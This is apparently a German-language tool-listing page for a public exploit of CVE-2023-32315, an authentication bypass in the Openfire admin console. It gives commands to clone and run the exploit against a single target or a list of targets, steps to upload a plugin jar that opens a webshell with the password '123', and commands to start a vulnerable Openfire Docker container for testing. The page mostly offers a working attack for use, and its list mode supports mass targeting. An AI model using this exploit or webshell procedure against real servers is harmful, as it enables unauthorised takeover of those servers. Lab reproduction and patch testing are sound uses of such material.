CVE-2023-32315 — Openfire Console Authentifizierungsumgehungs-Schwachstelle mit RCE-Plugin | Kitploit

CVE-2023-32315

Openfire Console Authentifizierungs-Bypass-Schwachstelle mit RCE Plugin

Einrichtung

git clone https://github.com/miko550/CVE-2023-32315.git
cd CVE-2023-32315
pip3 install -r requirements.txt

Verwendung

python3 CVE-2023-32315.py -t http://127.0.0.1:9090
python3 CVE-2023-32315.py -l lists.txt

Schritte

Exploit ausführen
Mit dem neu hinzugefügten Benutzer anmelden
Gehe zum Tab Plugin > Plugin hochladen openfire-management-tool-plugin.jar
Gehe zum Tab Server > Servereinstellungen > Management Tool
Zugriff auf websehll mit Passwort "123"

Anfälliger Openfire Docker

docker pull nasqueron/openfire:4.7.1
sudo docker run --name openfire -d --restart=always --publish 9090:9090 --publish 5222:5222 --publish 7777:7777 --volume /srv/docker/openfire:/var/lib/openfire nasqueron/openfire:4.7.1

Referenzen

Tool herunterladen